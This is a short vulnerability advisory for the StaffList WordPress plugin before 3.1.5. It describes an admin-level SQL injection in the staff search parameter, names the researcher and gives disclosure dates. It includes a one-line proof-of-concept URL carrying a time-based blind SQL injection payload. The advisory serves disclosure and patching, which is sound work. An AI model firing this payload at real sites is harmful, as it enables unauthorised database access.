WordPress Plugin Vulnerabilities

StaffList < 3.1.5 - Admin+ SQLi

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement when searching for Staff in the admin dashboard, leading to an SQL Injection

Proof of Concept

https://example.com/wp-admin/admin.php?page=stafflist&search=test%'+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)+AND+'aa%'='aa

Affects Plugins

Fixed in 3.1.5

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Hassan Khan Yusufzai
Submitter
Hassan Khan Yusufzai
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-05-02 (about 2 years ago)
Added
2022-05-03 (about 2 years ago)
Last Updated
2023-03-14 (about 1 years ago)

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